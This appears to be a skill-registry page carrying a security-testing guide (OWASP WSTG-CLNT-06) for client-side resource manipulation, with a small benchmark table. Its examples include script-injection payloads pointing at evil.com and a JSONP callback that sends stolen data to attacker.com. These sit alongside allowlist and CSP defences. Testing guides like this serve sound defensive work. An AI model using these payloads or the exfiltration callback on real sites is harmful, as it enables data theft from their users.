Loading skill
Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Testing for Client-Side Resource Manipulation
| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-03 | ✗→✓ | ▲ Improved | 17% | 0% |
| case-07 | ✗→✓ | ▲ Improved | -52% | 0% |
| case-10 | ✗→✓ | ▲ Improved | -15% | 0% |
| case-14 | ✗→✓ | ▲ Improved | -2% | 0% |
| case-15 | ✗→✓ | ▲ Improved | -13% | 0% |
WSTG-CLNT-06
Testing for Client-Side Resource Manipulation
Client-side resource manipulation occurs when attackers can control what resources (scripts, styles, images) a page loads. This can lead to loading malicious scripts, defacement, or data theft by manipulating URLs of external resources.
bash#!/bin/bash TARGET="https://target.com" # Check if script sources can be manipulated curl -s "$TARGET/page?script=https://evil.com/malicious.js" | grep -i "script.*src" curl -s "$TARGET/page?callback=alert" | grep -i "callback"
javascript// If JSONP callback can be controlled: // https://target.com/api/data?callback=stealData function stealData(data) { // Send data to attacker fetch("https://attacker.com/log?data=" + JSON.stringify(data)) }
python#!/usr/bin/env python3 import requests import re class ResourceManipulationTester: def __init__(self, base_url): self.base_url = base_url self.findings = [] def test_script_injection(self, endpoint, param): """Test if external scripts can be loaded""" print(f"[*] Testing script source manipulation") payload = "https://evil.com/malicious.js" response = requests.get( f"{self.base_url}{endpoint}", params={param: payload} ) if f'src="{payload}"' in response.text or f"src='{payload}'" in response.text: print(f"[VULN] Script source manipulation possible") self.findings.append({ "issue": "External script loading", "severity": "High" }) def test_jsonp(self, endpoint): """Test JSONP callback manipulation""" print(f"[*] Testing JSONP callback") response = requests.get( f"{self.base_url}{endpoint}", params={"callback": "alert"} ) if "alert(" in response.text: print(f"[VULN] JSONP callback controllable") self.findings.append({ "issue": "JSONP callback manipulation", "severity": "Medium" }) # Usage tester = ResourceManipulationTester("https://target.com") tester.test_script_injection("/page", "src") tester.test_jsonp("/api/data")
javascript// Validate resource URLs const ALLOWED_DOMAINS = ["cdn.example.com", "static.example.com"] function loadScript(url) { try { const parsed = new URL(url) if (ALLOWED_DOMAINS.includes(parsed.hostname)) { const script = document.createElement("script") script.src = url document.body.appendChild(script) } } catch (e) { console.error("Invalid URL") } } // Use CSP to restrict resource loading // Content-Security-Policy: script-src 'self' cdn.example.com
| Finding | CVSS | Severity | | --------------------------- | ---- | -------- | | External script loading | 8.6 | High | | JSONP callback manipulation | 6.1 | Medium |
[ ] Script sources analyzed
[ ] JSONP endpoints tested
[ ] iframe sources checked
[ ] CSS sources tested
[ ] Findings documentedOther measured skills in the registry, with their headline benchmark lift.